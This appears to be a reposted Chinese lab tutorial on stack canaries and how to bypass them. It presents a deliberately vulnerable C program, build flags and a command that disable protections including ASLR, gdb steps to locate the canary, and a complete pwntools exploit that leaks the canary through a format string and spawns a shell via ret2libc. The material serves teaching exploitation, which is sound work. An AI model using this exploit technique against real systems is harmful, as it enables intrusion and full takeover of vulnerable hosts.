Canary机制及绕过策略

栏目: 编程工具 · 发布时间: 6年前

内容简介:Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。gcc相关参数及意义
编辑推荐:
本文来自于简书, 本文主要介绍了Canary机制及绕过策略,通过源码、编译、调试来运行进行实验,希望对您的学习有所帮助。

Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。

Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。

gcc相关参数及意义

-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码

-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。

-fno-stack-protector:禁用堆栈保护

一,实验源码

文件名:Canary.c

#include

#include

void vul(char *msg_orig)

{

char msg[128];

memcpy(msg,msg_orig,128);

printf(msg);

char shellcode[64];

puts("Now ,plz give me your shellcode:");

read(0,shellcode,256);

}int main()

{

puts("So plz leave your message:");

char msg[128];

memset(msg,0,128);

read(0,msg,128);

vul(msg);

puts("Bye!");

return 0;

}

Canary机制及绕过策略

二,编译

命令:gcc -m32 -ggdb -z execstack -fstack-protector -no-pie -o pwnme Cannary.c

Canary机制及绕过策略

使用ldd pwnme,查看libc文件的加载位置是否会变

Canary机制及绕过策略

如果会改变,为了调试方便,可以使用:echo 0 > /proc/sys/kernel/randomize_va_space,关闭整个系统的地址随机化保护。

运行测试下

Canary机制及绕过策略

三,调试

gdb调试:

Canary机制及绕过策略

Canary机制及绕过策略

在vul函数返回前

Canary机制及绕过策略

我们简单了解了下canary机制,接下来尝试利用格式化字符串漏洞泄露canary的值

泄露Canary

其实canary的值在程序每一次运行都是会改变的

我们在xor下一个断点,测试一下。

Canary机制及绕过策略

Canary机制及绕过策略

重新运行

Canary机制及绕过策略

所以说canary的值具有不可预测性

但是,eax的值来源于gs:0x14,而gs:0x14存在于栈空间上,所以我们只要找到它栈空间上的位置,就可以泄露它的值。接下来我们就利用格式化字符串漏洞泄露Canary

首先在格式化漏洞点printf函数下好断点

Canary机制及绕过策略

运行,输入:AAAAAAAAAA

Canary机制及绕过策略

然后查看栈空间内容,esp = 0xffffd0c0,指向字符串起始位置 = 0xffffd12c

Canary机制及绕过策略

由此可知格式化字符串偏移为 = (0xffffd12c - 0xffffd0c0) / 4 = 27

Canary机制及绕过策略

然后我们在检测处下断点,查看看Canary的值 = 0xd7203900

Canary机制及绕过策略

这时候我们看上一张图,然后你会有一个地方的值是相同的,而这个位址就是canary

Canary机制及绕过策略

同理得到Canary的偏移 = 59,也就是说,在程序调用vul中printf时,输入%59$x'打印出来的就是canary的值。

四,代码

文件名:exp.py

其中涉及到ret2libc,可以先查看https://www.jianshu.com/p/c90530c910b0,再看代码。

因为只是开启Canary,所以解题方法挺多,泄露处Canary就算经典栈溢出也可以。

from pwn import *

p = process('./pwnme')

elf = ELF('/lib32/libc.so.6') #加载的libc文件

libc_base = 0xf7dd1000 #libc基址

system_addr = libc_base + elf.symbols['system'] #system函数地址

bin_sh_addr = libc_base + next(elf.search('/bin/sh')) #'/bin/sh'地址

buf = '%59$x' #构建泄露Canary的格式化字符串

p.recvuntil("message:\n")

p.sendline(buf) #发送

ret_msg = p.recvuntil('\n')

canary = int(ret_msg,16) #接收到返回的Cannary的值

p.recvuntil('shellcode:') #利用栈溢出漏洞

buf = 192 * 'A' #构建buf

buf += p32(canary) #在Canary地址覆盖Canary原本的值,不改变Canary的值从而绕过检查

buf += 28 * 'B'

buf += p32(system_addr)

buf += p32(0xdeadbeef)

buf += p32(bin_sh_addr)

p.sendline(buf) #发送

p.interactive()

五,测试

Canary机制及绕过策略

输入whoami,返回当前用户为root,未报错,得到可产生交互的shell,实验完成!


以上所述就是小编给大家介绍的《Canary机制及绕过策略》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Designing Data-Intensive Applications

Designing Data-Intensive Applications

Martin Kleppmann / O'Reilly Media / 2017-4-2 / USD 44.99

Data is at the center of many challenges in system design today. Difficult issues need to be figured out, such as scalability, consistency, reliability, efficiency, and maintainability. In addition, w......一起来看看 《Designing Data-Intensive Applications》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

在线进制转换器
在线进制转换器

各进制数互转换器